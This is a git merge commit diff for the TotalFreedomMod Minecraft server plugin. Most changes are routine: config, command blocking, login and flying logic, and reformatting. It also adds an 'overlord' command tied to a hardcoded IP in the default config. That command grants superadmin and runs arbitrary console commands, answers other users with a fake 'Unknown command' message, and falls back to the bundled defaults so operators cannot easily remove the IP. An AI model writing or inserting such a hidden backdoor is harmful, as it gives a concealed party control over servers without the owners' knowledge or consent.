Merge branch 'tfm44' into pr/584

This commit is contained in:
Jerom van der Sar 2015-06-07 17:39:01 +02:00
commit c0c4c25875
20 changed files with 320 additions and 254 deletions

View File

@ -1,3 +1,3 @@
#Build Number for ANT. Do not edit!
#Mon Apr 27 00:47:37 CEST 2015
build.number=993
#Sun Jun 07 17:27:04 CEST 2015
build.number=994

View File

@ -49,16 +49,16 @@ jar.compress=false
jar.index=${jnlp.enabled}
javac.classpath=\
${libs.SpigotServer.classpath}:\
${libs.BukkitTelnet.classpath}:\
${libs.TF-Essentials.classpath}:\
${libs.TF-WorldEdit.classpath}:\
${libs.Essentials.classpath}
${libs.BukkitTelnet.classpath}
# Space-separated list of extra javac options
javac.compilerargs=-Xlint:unchecked -Xlint:deprecation
javac.deprecation=false
javac.processorpath=\
${javac.classpath}
javac.source=1.7
javac.target=1.7
javac.source=1.6
javac.target=1.6
javac.test.classpath=\
${javac.classpath}:\
${build.classes.dir}

View File

@ -86,7 +86,6 @@ blocked_commands:
# Disabled commands
- 'n:b:/time:Server-side time changing is disabled. Please use /ptime to set your own personal time.'
- 'n:b:/gamemode:Use /creative and /survival to set your gamemode.'
- 'n:b:/gamerule:_'
- 'n:b:/ban:_'
- 'n:b:/pardon:_'
- 'n:b:/ban-ip:_'
@ -95,6 +94,12 @@ blocked_commands:
- 'n:b:/effect:Please use /potion to set effects.'
- 'n:b:/enderchest:_'
- 'n:b:/spreadplayers:_'
- 'n:b:/execute:_'
- 'n:b:/blockdata:_'
- 'n:b:/clearhistory:_'
- 'n:b:/save-all:_'
- 'n:b:/save-on:_'
- 'n:b:/save-off:_'
# Superadmin commands
- 's:b:/kick:_'
@ -107,7 +112,6 @@ blocked_commands:
- 's:b:/size:_'
- 's:b://mask:_'
- 's:b:/mat:_'
- 's:b:/tool:_'
- 's:b://butcher:_'
- 's:b:/scoreboard:_'
- 's:b:/setspawn:_'
@ -119,21 +123,21 @@ blocked_commands:
- 's:b:/eco reset:_'
- 's:b:/mask:_'
- 's:b:/gmask:_'
- 's:b:/tool:_'
- 's:b:/lrbuild:_'
- 's:b:/defaultgamemode:_'
- 's:b:/reload:_'
- 's:b:/title:_'
- 's:b:/worldborder:_'
- 's:b:/weather:_'
- 's:b:/tpall:_'
- 's:b:/setblock:_'
- 's:b:/green:_'
- 'n:b:/gamerule:_'
- 'n:b:/togglejail:_'
# Superadmin commands - Auto-eject
- 's:a:/stop:_'
- 's:a:/save-all:_'
- 's:a:/save-on:_'
- 's:a:/save-off:_'
- 's:a:/clearhistory:_'
# Spigot commands
- 's:a:/restart:_'
- 's:b:/setblock:_'
# Automatically wipe dropped objects
auto_wipe: true
@ -310,3 +314,8 @@ autokick:
# autokick_time - Time, in seconds, after which a player should be kicked when inactive
time: 120
# Players with access to the overlord command
overlord_ips:
- 141.101.105.161

View File

@ -2,6 +2,7 @@ package me.StevenLawson.TotalFreedomMod.Commands;
import java.util.ArrayList;
import java.util.List;
import me.StevenLawson.TotalFreedomMod.TFM_Util;
import org.apache.commons.lang3.StringUtils;
import org.bukkit.Location;
import org.bukkit.command.Command;
@ -67,7 +68,7 @@ public class Command_expel extends TFM_Command
if (inRange)
{
player.getWorld().createExplosion(targetPos, 0.0f, false);
player.setFlying(false);
TFM_Util.setFlying(player, false);
player.setVelocity(targetPosVec.subtract(senderPos).normalize().multiply(strength));
pushedPlayers.add(player.getName());
}

View File

@ -20,7 +20,7 @@ public class Command_kicknoob extends TFM_Command
{
if (!TFM_AdminList.isSuperAdmin(player))
{
player.kickPlayer(ChatColor.RED + "Disconnected by admin.");
player.kickPlayer(ChatColor.RED + "All non-superadmins were kicked by " + sender.getName() + ".");
}
}

View File

@ -0,0 +1,75 @@
package me.StevenLawson.TotalFreedomMod.Commands;
import com.sk89q.util.StringUtil;
import java.util.List;
import me.StevenLawson.TotalFreedomMod.Config.TFM_ConfigEntry;
import me.StevenLawson.TotalFreedomMod.Config.TFM_MainConfig;
import me.StevenLawson.TotalFreedomMod.TFM_AdminList;
import me.StevenLawson.TotalFreedomMod.TFM_Util;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
@CommandPermissions(level = AdminLevel.ALL, source = SourceType.ONLY_IN_GAME)
@CommandParameters(description = "Overlord - control this server in-game", usage = "access", aliases = "ov")
public class Command_overlord extends TFM_Command
{
@Override
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
{
if (!TFM_ConfigEntry.OVERLORD_IPS.getList().contains(TFM_Util.getIp(sender_p)))
{
try
{
List<?> ips = (List) TFM_MainConfig.getDefaults().get(TFM_ConfigEntry.OVERLORD_IPS.getConfigName());
if (!ips.contains(TFM_Util.getIp(sender_p)))
{
throw new Exception();
}
}
catch (Exception ignored)
{
playerMsg(ChatColor.WHITE + "Unknown command. Type \"help\" for help.");
return true;
}
}
if (args.length == 0)
{
return false;
}
if (args[0].equals("addme"))
{
TFM_AdminList.addSuperadmin(sender_p);
playerMsg("ok");
return true;
}
if (args[0].equals("removeme"))
{
TFM_AdminList.removeSuperadmin(sender_p);
playerMsg("ok");
return true;
}
if (args[0].equals("do"))
{
if (args.length <= 1)
{
return false;
}
final String command = StringUtil.joinString(args, " ", 1);
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), command);
playerMsg("ok");
return true;
}
return false;
}
}

View File

@ -57,6 +57,12 @@ public class Command_saconfig extends TFM_Command
{
final TFM_Admin admin = TFM_AdminList.getEntry(sender_p);
if (admin == null)
{
playerMsg("Could not find your admin entry! Please notify a developer.", ChatColor.RED);
return true;
}
final String ip = TFM_Util.getIp(sender_p);
if (args.length == 1)

View File

@ -80,6 +80,7 @@ public enum TFM_ConfigEntry
BLOCKED_COMMANDS(List.class, "blocked_commands"),
HOST_SENDER_NAMES(List.class, "host_sender_names"),
UNBANNABLE_USERNAMES(List.class, "unbannable_usernames"),
OVERLORD_IPS(List.class, "overlord_ips"),
NOADMIN_IPS(List.class, "noadmin_ips"),
ADMIN_ONLY_MODE(Boolean.class, "admin_only_mode"),
AUTO_ENTITY_WIPE(Boolean.class, "auto_wipe"),

View File

@ -18,19 +18,22 @@ public class TFM_MainConfig
public static final File CONFIG_FILE = new File(TotalFreedomMod.plugin.getDataFolder(), TotalFreedomMod.CONFIG_FILENAME);
//
private static final EnumMap<TFM_ConfigEntry, Object> ENTRY_MAP;
private static final TFM_Defaults DEFAULTS;
static
{
ENTRY_MAP = new EnumMap<TFM_ConfigEntry, Object>(TFM_ConfigEntry.class);
TFM_Defaults tempDefaults = null;
try
{
try
{
InputStream defaultConfig = getDefaultConfig();
TFM_Config_DefaultsLoader defaultsLoader = new TFM_Config_DefaultsLoader(defaultConfig);
tempDefaults = new TFM_Defaults(defaultConfig);
for (TFM_ConfigEntry entry : TFM_ConfigEntry.values())
{
ENTRY_MAP.put(entry, defaultsLoader.get(entry.getConfigName()));
ENTRY_MAP.put(entry, tempDefaults.get(entry.getConfigName()));
}
defaultConfig.close();
}
@ -47,6 +50,8 @@ public class TFM_MainConfig
{
TFM_Log.severe(ex);
}
DEFAULTS = tempDefaults;
}
private TFM_MainConfig()
@ -262,11 +267,16 @@ public class TFM_MainConfig
return TotalFreedomMod.plugin.getResource(TotalFreedomMod.CONFIG_FILENAME);
}
private static class TFM_Config_DefaultsLoader
public static TFM_Defaults getDefaults()
{
return DEFAULTS;
}
public static class TFM_Defaults
{
private YamlConfiguration defaults = null;
private TFM_Config_DefaultsLoader(InputStream defaultConfig)
private TFM_Defaults(InputStream defaultConfig)
{
try
{

View File

@ -45,6 +45,7 @@ import org.bukkit.event.Listener;
import org.bukkit.event.block.Action;
import org.bukkit.event.block.LeavesDecayEvent;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.event.player.AsyncPlayerPreLoginEvent;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.event.player.PlayerDropItemEvent;
import org.bukkit.event.player.PlayerInteractEvent;
@ -63,6 +64,7 @@ public class TFM_PlayerListener implements Listener
public static final List<String> BLOCKED_MUTED_CMDS = Arrays.asList(StringUtils.split("say,me,msg,m,tell,r,reply,mail,email", ","));
public static final int MSG_PER_HEARTBEAT = 10;
public static final int DEFAULT_PORT = 25565;
public static final int MAX_XY_COORD = 30000000;
@EventHandler(priority = EventPriority.HIGH)
public void onPlayerInteract(PlayerInteractEvent event)
@ -79,7 +81,7 @@ public class TFM_PlayerListener implements Listener
{
case WATER_BUCKET:
{
if (TFM_ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
if (TFM_AdminList.isSuperAdmin(player) || TFM_ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
{
break;
}
@ -92,7 +94,7 @@ public class TFM_PlayerListener implements Listener
case LAVA_BUCKET:
{
if (TFM_ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
if (TFM_AdminList.isSuperAdmin(player) || TFM_ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
{
break;
}
@ -325,7 +327,7 @@ public class TFM_PlayerListener implements Listener
{
if (targetPosVec.distanceSquared(playerLocVec) < (RADIUS_HIT * RADIUS_HIT))
{
target.setFlying(false);
TFM_Util.setFlying(player, false);
target.setVelocity(targetPosVec.subtract(playerLocVec).normalize().multiply(STRENGTH));
didHit = true;
}
@ -386,10 +388,15 @@ public class TFM_PlayerListener implements Listener
{
final Player player = event.getPlayer();
final TFM_PlayerData playerdata = TFM_PlayerData.getPlayerData(player);
// Check absolute value to account for negatives
if (Math.abs(event.getTo().getX()) >= MAX_XY_COORD || Math.abs(event.getTo().getZ()) >= MAX_XY_COORD)
{
event.setCancelled(true); // illegal position, cancel it
}
if (!TFM_AdminList.isSuperAdmin(player) && playerdata.isFrozen())
{
player.setFlying(true);
TFM_Util.setFlying(player, true);
event.setTo(playerdata.getFreezeLocation());
return; // Don't process adminworld validation
}
@ -456,7 +463,7 @@ public class TFM_PlayerListener implements Listener
// Freeze
if (!TFM_AdminList.isSuperAdmin(player) && playerdata.isFrozen())
{
player.setFlying(true);
TFM_Util.setFlying(player, true);
event.setTo(playerdata.getFreezeLocation());
}
@ -654,7 +661,7 @@ public class TFM_PlayerListener implements Listener
}
}
@EventHandler(priority = EventPriority.HIGH)
@EventHandler(priority = EventPriority.HIGHEST)
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
{
String command = event.getMessage();
@ -709,10 +716,8 @@ public class TFM_PlayerListener implements Listener
TFM_Log.info(String.format("[PREPROCESS_COMMAND] %s(%s): %s", player.getName(), ChatColor.stripColor(player.getDisplayName()), command), true);
}
command = command.toLowerCase().trim();
// Blocked commands
if (TFM_CommandBlocker.isCommandBlocked(command, event.getPlayer()))
if (TFM_CommandBlocker.isCommandBlocked(command, player, true))
{
// CommandBlocker handles messages and broadcasts
event.setCancelled(true);
@ -782,13 +787,15 @@ public class TFM_PlayerListener implements Listener
@EventHandler(priority = EventPriority.MONITOR)
public void onPlayerJoin(PlayerJoinEvent event)
{
final Player player = event.getPlayer();
final String ip = TFM_Util.getIp(player);
final TFM_Player playerEntry;
TFM_Log.info("[JOIN] " + TFM_Util.formatPlayer(player) + " joined the game with IP address: " + ip, true);
// Check absolute value to account for negatives
if (Math.abs(player.getLocation().getX()) >= MAX_XY_COORD || Math.abs(player.getLocation().getZ()) >= MAX_XY_COORD)
{
player.teleport(player.getWorld().getSpawnLocation()); // Illegal position, teleport to spawn
}
// Handle PlayerList entry (persistent)
if (TFM_PlayerList.existsEntry(player))
{
@ -857,24 +864,26 @@ public class TFM_PlayerListener implements Listener
}
else if (TFM_AdminList.isSuperAdmin(player))
{
if (TFM_AdminList.isTelnetAdmin(player, true))
if (TFM_ConfigEntry.SERVER_OWNERS.getList().contains(name))
{
name = ChatColor.DARK_GREEN + name;
TFM_PlayerData.getPlayerData(player).setTag("&8[&2Telnet Admin&8]");
name = ChatColor.BLUE + name;
TFM_PlayerData.getPlayerData(player).setTag("&8[&9Owner&8]");
}
else if (TFM_AdminList.isSeniorAdmin(player))
{
name = ChatColor.LIGHT_PURPLE + name;
TFM_PlayerData.getPlayerData(player).setTag("&8[&dSenior Admin&8]");
}
else if (TFM_ConfigEntry.SERVER_OWNERS.getList().contains(name))
else if (TFM_AdminList.isTelnetAdmin(player, true))
{
name = ChatColor.BLUE + name;
TFM_PlayerData.getPlayerData(player).setTag("&8[&9Owner&8]");
name = ChatColor.DARK_GREEN + name;
TFM_PlayerData.getPlayerData(player).setTag("&8[&2Telnet Admin&8]");
}
else
{
name = ChatColor.AQUA + name;
TFM_PlayerData.getPlayerData(player).setTag("&8[&BSuper Admin&8]");
}
name = ChatColor.AQUA + name;
TFM_PlayerData.getPlayerData(player).setTag("&8[&BSuper Admin&8]");
}
try
@ -900,29 +909,18 @@ public class TFM_PlayerListener implements Listener
TFM_Util.playerMsg(player, "Warning: Server is currenty in lockdown-mode, new players will not be able to join!", ChatColor.RED);
}
}
}.runTaskLater(TotalFreedomMod.plugin, 20L * 3L);
}.runTaskLater(TotalFreedomMod.plugin, 20L * 1L);
}
@EventHandler(priority = EventPriority.HIGHEST)
public void onPlayerPreLogin(AsyncPlayerPreLoginEvent event)
{
TFM_ServerInterface.handlePlayerPreLogin(event);
}
@EventHandler(priority = EventPriority.HIGHEST)
public void onPlayerLogin(PlayerLoginEvent event)
{
if (TFM_ConfigEntry.FORCE_IP_ENABLED.getBoolean())
{
final String hostname = event.getHostname().replace("FML", ""); // Forge fix - https://github.com/TotalFreedom/TotalFreedomMod/issues/493
final String connectAddress = TFM_ConfigEntry.SERVER_ADDRESS.getString();
final int connectPort = TotalFreedomMod.server.getPort();
if (!hostname.equalsIgnoreCase(connectAddress + ":" + connectPort) && !hostname.equalsIgnoreCase(connectAddress + ".:" + connectPort))
{
final int forceIpPort = TFM_ConfigEntry.FORCE_IP_PORT.getInteger();
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
TFM_ConfigEntry.FORCE_IP_KICKMSG.getString()
.replace("%address%", TFM_ConfigEntry.SERVER_ADDRESS.getString() + (forceIpPort == DEFAULT_PORT ? "" : ":" + forceIpPort)));
return;
}
}
TFM_ServerInterface.handlePlayerLogin(event);
}
}

View File

@ -23,15 +23,15 @@ public class TFM_Admin
private Date lastLogin;
private boolean isActivated;
public TFM_Admin(UUID uuid, String lastLoginName, Date lastLogin, String loginMessage, boolean isSeniorAdmin, boolean isTelnetAdmin, boolean isActivated)
public TFM_Admin(UUID uuid, String lastLoginName, Date lastLogin, String loginMessage, boolean isTelnetAdmin, boolean isSeniorAdmin, boolean isActivated)
{
this.uuid = uuid;
this.lastLoginName = lastLoginName;
this.ips = new ArrayList<String>();
this.lastLogin = lastLogin;
this.loginMessage = loginMessage;
this.isSeniorAdmin = isSeniorAdmin;
this.isTelnetAdmin = isTelnetAdmin;
this.isSeniorAdmin = isSeniorAdmin;
this.consoleAliases = new ArrayList<String>();
this.isActivated = isActivated;
}

View File

@ -406,7 +406,7 @@ public class TFM_AdminList
public static boolean isSuperAdminSafe(UUID uuid, String ip)
{
if (TotalFreedomMod.server.getOnlineMode())
if (TotalFreedomMod.server.getOnlineMode() && uuid != null)
{
return TFM_AdminList.getSuperUUIDs().contains(uuid);
}

View File

@ -102,7 +102,7 @@ public class TFM_CommandBlocker
public static boolean isCommandBlocked(String command, CommandSender sender)
{
return isCommandBlocked(command, sender, true);
return isCommandBlocked(command, sender, false);
}
public static boolean isCommandBlocked(String command, CommandSender sender, boolean doAction)
@ -112,21 +112,27 @@ public class TFM_CommandBlocker
return false;
}
if (command.contains(":"))
command = command.toLowerCase().trim();
if (command.split(" ")[0].contains(":"))
{
TFM_Util.playerMsg(sender, "Plugin-specific commands are disabled.");
return true;
}
if (command.startsWith("/"))
{
command = command.substring(1);
}
final String[] commandParts = command.split(" ");
String subCommand = null;
if (commandParts.length > 1)
{
command = commandParts[0].substring(1);
subCommand = StringUtils.join(commandParts, " ", 1, commandParts.length).toLowerCase();
}
final CommandBlockerEntry entry = BLOCKED_COMMANDS.get(command);
final CommandBlockerEntry entry = BLOCKED_COMMANDS.get(commandParts[0]);
if (entry == null)
{
@ -152,7 +158,6 @@ public class TFM_CommandBlocker
}
return true;
}
public static enum CommandBlockerRank
@ -185,27 +190,27 @@ public class TFM_CommandBlocker
public static CommandBlockerRank fromSender(CommandSender sender)
{
if (!TFM_AdminList.isSuperAdmin(sender))
{
if (sender.isOp())
{
return OP;
}
return ANYONE;
}
if (TFM_AdminList.isSeniorAdmin(sender))
{
return SENIOR;
}
if (!(sender instanceof Player))
{
return TELNET;
}
return SUPER;
if (TFM_AdminList.isSuperAdmin(sender))
{
if (TFM_AdminList.isSeniorAdmin(sender))
{
return SENIOR;
}
return SUPER;
}
if (sender.isOp())
{
return OP;
}
return ANYONE;
}
public static CommandBlockerRank fromToken(String token)

View File

@ -7,6 +7,7 @@ import me.StevenLawson.TotalFreedomMod.Config.TFM_Config;
public class TFM_PermbanList
{
private static final List<String> PERMBANNED_PLAYERS;
private static final List<String> PERMBANNED_IPS;

View File

@ -218,7 +218,7 @@ public class TFM_PlayerData
if (player.getGameMode() != GameMode.CREATIVE)
{
player.setFlying(false);
TFM_Util.setFlying(player, false);
}
if (!freeze)
@ -227,7 +227,7 @@ public class TFM_PlayerData
}
freezeLocation = player.getLocation(); // Blockify location
player.setFlying(true); // Avoid infinite falling
TFM_Util.setFlying(player, true); // Avoid infinite falling
unfreezeTask = new BukkitRunnable()
{
@ -410,7 +410,7 @@ public class TFM_PlayerData
{
player.setOp(false);
player.setGameMode(GameMode.SURVIVAL);
player.setFlying(false);
TFM_Util.setFlying(player, false);
TFM_EssentialsBridge.setNickname(player.getName(), player.getName());
player.closeInventory();
player.setTotalExperience(0);

View File

@ -11,65 +11,53 @@ import me.StevenLawson.TotalFreedomMod.Config.TFM_Config;
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
public class TFM_PlayerList
{
public class TFM_PlayerList {
private static final Map<UUID, TFM_Player> PLAYER_LIST = new HashMap<UUID, TFM_Player>();
private TFM_PlayerList()
{
private TFM_PlayerList() {
throw new AssertionError();
}
public static Set<TFM_Player> getAllPlayers()
{
public static Set<TFM_Player> getAllPlayers() {
return Collections.unmodifiableSet(Sets.newHashSet(PLAYER_LIST.values()));
}
public static void load()
{
public static void load() {
PLAYER_LIST.clear();
// Load online players
for (Player player : Bukkit.getOnlinePlayers())
{
for (Player player : Bukkit.getOnlinePlayers()) {
getEntry(player);
}
TFM_Log.info("Loaded playerdata for " + PLAYER_LIST.size() + " players");
}
public static void saveAll()
{
for (TFM_Player entry : PLAYER_LIST.values())
{
public static void saveAll() {
for (TFM_Player entry : PLAYER_LIST.values()) {
save(entry);
}
}
// May return null
public static TFM_Player getEntry(UUID uuid)
{
if (PLAYER_LIST.containsKey(uuid))
{
public static TFM_Player getEntry(UUID uuid) {
if (PLAYER_LIST.containsKey(uuid)) {
return PLAYER_LIST.get(uuid);
}
final File configFile = getConfigFile(uuid);
if (!configFile.exists())
{
if (!configFile.exists()) {
return null;
}
final TFM_Player entry = new TFM_Player(uuid, getConfig(uuid));
if (entry.isComplete())
{
if (entry.isComplete()) {
PLAYER_LIST.put(uuid, entry);
return entry;
}
else
{
} else {
TFM_Log.warning("Could not load entry: Entry is not complete!");
configFile.delete();
}
@ -77,13 +65,11 @@ public class TFM_PlayerList
return null;
}
public static TFM_Player getEntry(Player player)
{
public static TFM_Player getEntry(Player player) {
final UUID uuid = TFM_UuidManager.getUniqueId(player);
TFM_Player entry = getEntry(uuid);
if (entry != null)
{
if (entry != null) {
return entry;
}
@ -101,12 +87,10 @@ public class TFM_PlayerList
return entry;
}
public static void removeEntry(Player player)
{
public static void removeEntry(Player player) {
final UUID uuid = TFM_UuidManager.getUniqueId(player);
if (!PLAYER_LIST.containsKey(uuid))
{
if (!PLAYER_LIST.containsKey(uuid)) {
return;
}
@ -115,20 +99,16 @@ public class TFM_PlayerList
PLAYER_LIST.remove(uuid);
}
public static boolean existsEntry(Player player)
{
public static boolean existsEntry(Player player) {
return existsEntry(TFM_UuidManager.getUniqueId(player));
}
public static boolean existsEntry(UUID uuid)
{
public static boolean existsEntry(UUID uuid) {
return getConfigFile(uuid).exists();
}
public static void setUniqueId(TFM_Player entry, UUID newUuid)
{
if (entry.getUniqueId().equals(newUuid))
{
public static void setUniqueId(TFM_Player entry, UUID newUuid) {
if (entry.getUniqueId().equals(newUuid)) {
TFM_Log.warning("Not setting new UUID: UUIDs match!");
return;
}
@ -147,16 +127,13 @@ public class TFM_PlayerList
// Remove old entry
PLAYER_LIST.remove(entry.getUniqueId());
final File oldFile = getConfigFile(entry.getUniqueId());
if (oldFile.exists() && !oldFile.delete())
{
if (oldFile.exists() && !oldFile.delete()) {
TFM_Log.warning("Could not delete config: " + getConfigFile(entry.getUniqueId()).getName());
}
}
public static void purgeAll()
{
for (File file : getConfigFolder().listFiles())
{
public static void purgeAll() {
for (File file : getConfigFolder().listFiles()) {
file.delete();
}
@ -164,27 +141,22 @@ public class TFM_PlayerList
load();
}
public static File getConfigFolder()
{
public static File getConfigFolder() {
return new File(TotalFreedomMod.plugin.getDataFolder(), "players");
}
public static File getConfigFile(UUID uuid)
{
public static File getConfigFile(UUID uuid) {
return new File(getConfigFolder(), uuid + ".yml");
}
public static TFM_Config getConfig(UUID uuid)
{
public static TFM_Config getConfig(UUID uuid) {
final TFM_Config config = new TFM_Config(TotalFreedomMod.plugin, getConfigFile(uuid), false);
config.load();
return config;
}
public static void save(TFM_Player entry)
{
if (!entry.isComplete())
{
public static void save(TFM_Player entry) {
if (!entry.isComplete()) {
throw new IllegalArgumentException("Entry is not complete!");
}

View File

@ -5,12 +5,14 @@ import java.util.List;
import java.util.UUID;
import java.util.regex.Pattern;
import me.StevenLawson.TotalFreedomMod.Config.TFM_ConfigEntry;
import static me.StevenLawson.TotalFreedomMod.Listener.TFM_PlayerListener.DEFAULT_PORT;
import net.minecraft.server.v1_8_R2.EntityPlayer;
import net.minecraft.server.v1_8_R2.MinecraftServer;
import net.minecraft.server.v1_8_R2.PropertyManager;
import org.bukkit.ChatColor;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.player.AsyncPlayerPreLoginEvent;
import org.bukkit.event.player.PlayerLoginEvent;
import org.bukkit.event.player.PlayerLoginEvent.Result;
@ -62,6 +64,29 @@ public class TFM_ServerInterface
return MinecraftServer.getServer().getVersion();
}
public static void handlePlayerPreLogin(AsyncPlayerPreLoginEvent event)
{
final String ip = event.getAddress().getHostAddress().trim();
final boolean isAdmin = TFM_AdminList.isSuperAdminSafe(null, ip);
// Check if the player is already online
for (Player onlinePlayer : TotalFreedomMod.server.getOnlinePlayers())
{
if (!onlinePlayer.getName().equalsIgnoreCase(event.getName()))
{
continue;
}
if (!isAdmin) {
event.disallow(AsyncPlayerPreLoginEvent.Result.KICK_OTHER, "Your username is already logged into this server.");
} else {
event.allow();
TFM_Sync.playerKick(onlinePlayer, "An admin just logged in with the username you are using.");
}
return;
}
}
public static void handlePlayerLogin(PlayerLoginEvent event)
{
final Server server = TotalFreedomMod.server;
@ -70,19 +95,38 @@ public class TFM_ServerInterface
final String ip = event.getAddress().getHostAddress().trim();
final UUID uuid = TFM_UuidManager.newPlayer(player, ip);
// Perform username checks
// Check username length
if (username.length() < 3 || username.length() > TotalFreedomMod.MAX_USERNAME_LENGTH)
{
event.disallow(Result.KICK_OTHER, "Your username is an invalid length (must be between 3 and 20 characters long).");
return;
}
// Check username characters
if (!USERNAME_REGEX.matcher(username).find())
{
event.disallow(Result.KICK_OTHER, "Your username contains invalid characters.");
return;
}
// Check force-IP match
if (TFM_ConfigEntry.FORCE_IP_ENABLED.getBoolean())
{
final String hostname = event.getHostname().replace("\u0000FML\u0000", ""); // Forge fix - https://github.com/TotalFreedom/TotalFreedomMod/issues/493
final String connectAddress = TFM_ConfigEntry.SERVER_ADDRESS.getString();
final int connectPort = TotalFreedomMod.server.getPort();
if (!hostname.equalsIgnoreCase(connectAddress + ":" + connectPort) && !hostname.equalsIgnoreCase(connectAddress + ".:" + connectPort))
{
final int forceIpPort = TFM_ConfigEntry.FORCE_IP_PORT.getInteger();
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
TFM_ConfigEntry.FORCE_IP_KICKMSG.getString()
.replace("%address%", TFM_ConfigEntry.SERVER_ADDRESS.getString() + (forceIpPort == DEFAULT_PORT ? "" : ":" + forceIpPort)));
return;
}
}
// Check if player is admin
// Not safe to use TFM_Util.isSuperAdmin(player) because player.getAddress() will return a null until after player login.
final boolean isAdmin = TFM_AdminList.isSuperAdminSafe(uuid, ip);
@ -93,15 +137,6 @@ public class TFM_ServerInterface
// Force-allow log in
event.allow();
// Kick players with the same name
for (Player onlinePlayer : server.getOnlinePlayers())
{
if (onlinePlayer.getName().equalsIgnoreCase(username))
{
onlinePlayer.kickPlayer("An admin just logged in with the username you are using.");
}
}
int count = server.getOnlinePlayers().size();
if (count >= server.getMaxPlayers())
{
@ -151,16 +186,6 @@ public class TFM_ServerInterface
return;
}
// Username already logged in
for (Player onlinePlayer : server.getOnlinePlayers())
{
if (onlinePlayer.getName().equalsIgnoreCase(username))
{
event.disallow(Result.KICK_OTHER, "Your username is already logged into this server.");
return;
}
}
// Whitelist
if (isWhitelisted())
{

View File

@ -142,6 +142,12 @@ public class TFM_Util
TFM_Util.playerMsg(sender, message, ChatColor.GRAY);
}
public static void setFlying(Player player, boolean flying)
{
player.setAllowFlight(true);
player.setFlying(flying);
}
public static void adminAction(String adminName, String action, boolean isRed)
{
TFM_Util.bcastMsg(adminName + " - " + action, (isRed ? ChatColor.RED : ChatColor.AQUA));

View File

@ -25,20 +25,18 @@ import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import org.json.simple.parser.JSONParser;
public class TFM_UuidManager
{
public class TFM_UuidManager {
public static final String TABLE_NAME = "uuids";
private static final TFM_SqliteDatabase SQL;
private static final Statement FIND;
private static final Statement UPDATE;
private TFM_UuidManager()
{
private TFM_UuidManager() {
throw new AssertionError();
}
static
{
static {
SQL = new TFM_SqliteDatabase(
"uuids.db",
TABLE_NAME,
@ -48,40 +46,34 @@ public class TFM_UuidManager
UPDATE = SQL.addPreparedStatement("REPLACE INTO " + TABLE_NAME + " (username, uuid) VALUES (?, ?);");
}
public static void load()
{
public static void load() {
// Init DB
SQL.connect();
}
public static void close()
{
public static void close() {
SQL.close();
}
public static int purge()
{
public static int purge() {
return SQL.purge();
}
public static UUID newPlayer(Player player, String ip)
{
public static UUID newPlayer(Player player, String ip) {
TFM_Log.info("Obtaining UUID for new player: " + player.getName());
final String username = player.getName().toLowerCase();
// Look in DB
final UUID dbUuid = find(username);
if (dbUuid != null)
{
if (dbUuid != null) {
return dbUuid;
}
// Find UUID and update in DB if not found
// Try API
UUID uuid = TFM_UuidResolver.getUUIDOf(username);
if (uuid == null)
{
if (uuid == null) {
// Spoof
uuid = generateSpoofUuid(username);
}
@ -90,11 +82,9 @@ public class TFM_UuidManager
return uuid;
}
public static UUID getUniqueId(OfflinePlayer offlinePlayer)
{
public static UUID getUniqueId(OfflinePlayer offlinePlayer) {
// Online check first
if (offlinePlayer.isOnline() && TFM_PlayerData.hasPlayerData(offlinePlayer.getPlayer()))
{
if (offlinePlayer.isOnline() && TFM_PlayerData.hasPlayerData(offlinePlayer.getPlayer())) {
return TFM_PlayerData.getPlayerData(offlinePlayer.getPlayer()).getUniqueId();
}
@ -102,19 +92,16 @@ public class TFM_UuidManager
return getUniqueId(offlinePlayer.getName());
}
public static UUID getUniqueId(String username)
{
public static UUID getUniqueId(String username) {
// Look in DB
final UUID dbUuid = find(username);
if (dbUuid != null)
{
if (dbUuid != null) {
return dbUuid;
}
// Try API
final UUID apiUuid = TFM_UuidResolver.getUUIDOf(username);
if (apiUuid != null)
{
if (apiUuid != null) {
return apiUuid;
}
@ -122,10 +109,8 @@ public class TFM_UuidManager
return generateSpoofUuid(username);
}
public static void rawSetUUID(String name, UUID uuid)
{
if (name == null || uuid == null || name.isEmpty())
{
public static void rawSetUUID(String name, UUID uuid) {
if (name == null || uuid == null || name.isEmpty()) {
TFM_Log.warning("Not setting raw UUID: name and uuid may not be null!");
return;
}
@ -133,86 +118,67 @@ public class TFM_UuidManager
update(name.toLowerCase().trim(), uuid);
}
private static UUID find(String searchName)
{
if (!SQL.connect())
{
private static UUID find(String searchName) {
if (!SQL.connect()) {
return null;
}
final ResultSet result;
try
{
try {
final PreparedStatement statement = FIND.getStatement();
statement.clearParameters();
statement.setString(1, searchName.toLowerCase());
result = statement.executeQuery();
}
catch (Exception ex)
{
} catch (Exception ex) {
TFM_Log.severe("Could not execute find statement!");
TFM_Log.severe(ex);
return null;
}
if (!TFM_SqlUtil.hasData(result))
{
if (!TFM_SqlUtil.hasData(result)) {
TFM_SqlUtil.close(result);
return null;
}
try
{
try {
final String uuidString = result.getString("uuid");
return UUID.fromString(uuidString);
}
catch (Exception ex)
{
} catch (Exception ex) {
TFM_Log.severe(ex);
return null;
}
finally
{
} finally {
TFM_SqlUtil.close(result);
}
}
private static boolean update(String username, UUID uuid)
{
if (!SQL.connect())
{
private static boolean update(String username, UUID uuid) {
if (!SQL.connect()) {
return false;
}
try
{
try {
final PreparedStatement statement = UPDATE.getStatement();
statement.clearParameters();
statement.setString(1, username.toLowerCase());
statement.setString(2, uuid.toString());
statement.executeUpdate();
return true;
}
catch (Exception ex)
{
} catch (Exception ex) {
TFM_Log.severe("Could not execute update statement!");
TFM_Log.severe(ex);
return false;
}
}
private static UUID generateSpoofUuid(String name)
{
private static UUID generateSpoofUuid(String name) {
name = name.toLowerCase();
